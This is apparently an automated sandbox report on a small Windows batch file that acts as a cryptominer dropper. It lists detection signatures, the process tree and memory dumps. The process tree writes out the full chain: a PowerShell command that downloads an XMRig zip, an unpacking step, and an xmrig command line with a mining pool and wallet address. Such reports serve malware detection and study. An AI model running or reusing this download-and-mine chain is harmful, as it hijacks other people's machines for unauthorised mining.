Analysis
- max time kernel
1769s - max time network
1771s - platform
windows10-1703_x64 - resource
win10-20231215-en - resource tags
- submitted
01/01/2024, 03:11
General
- Target tesy - Copy (9).bat
- Size 608B
- Sample240101-dppkasdcf5
- SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
- XMRig Miner payload 48 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
xmrig-6.21.0-gcc-win64.zip
xmrig.exe
memory/2064-5-0x00007FF876630000-0x00007FF87701C000-memory.dmp
memory/2064-10-0x000001E0EEBA0000-0x000001E0EEC16000-memory.dmp
memory/2064-8-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp
memory/2064-7-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp
memory/2064-25-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp
memory/2064-4-0x000001E0EE810000-0x000001E0EE832000-memory.dmp
memory/2064-26-0x00007FF876630000-0x00007FF87701C000-memory.dmp
memory/2064-27-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp
memory/2064-28-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp
memory/2064-29-0x000001E0EE2E0000-0x000001E0EE2F0000-memory.dmp
memory/2064-34-0x00007FF876630000-0x00007FF87701C000-memory.dmp
memory/3432-42-0x0000024F42990000-0x0000024F429A0000-memory.dmp
memory/3432-41-0x0000024F42990000-0x0000024F429A0000-memory.dmp
memory/3432-39-0x00007FF876630000-0x00007FF87701C000-memory.dmp
memory/3432-66-0x0000024F42990000-0x0000024F429A0000-memory.dmp
memory/3432-93-0x0000024F42BF0000-0x0000024F42BFA000-memory.dmp
memory/3432-80-0x0000024F43120000-0x0000024F43132000-memory.dmp
memory/3432-117-0x00007FF876630000-0x00007FF87701C000-memory.dmp
memory/4656-120-0x000002999EFC0000-0x000002999EFE0000-memory.dmp
memory/4656-121-0x000002999F000000-0x000002999F020000-memory.dmp
memory/4656-122-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-123-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-125-0x000002999F040000-0x000002999F060000-memory.dmp
memory/4656-124-0x000002999F020000-0x000002999F040000-memory.dmp
memory/4656-126-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-127-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-129-0x000002999F040000-0x000002999F060000-memory.dmp
memory/4656-128-0x000002999F020000-0x000002999F040000-memory.dmp
memory/4656-130-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-131-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-132-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-188-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-187-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-186-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-185-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-184-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-183-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-182-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-181-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-180-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-179-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-178-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-177-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-176-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-175-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-174-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-173-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-172-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-171-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-170-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-169-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-168-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-167-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-166-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-165-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-164-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-163-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-162-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-161-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-160-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-159-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-158-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-157-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-156-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-155-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-154-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-153-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-152-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-151-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-150-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-149-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-148-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-147-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-146-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-145-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-144-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-143-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-142-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-141-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-140-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-139-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-138-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-137-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-136-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-135-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-134-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp
memory/4656-133-0x00007FF76DAC0000-0x00007FF76E5C3000-memory.dmp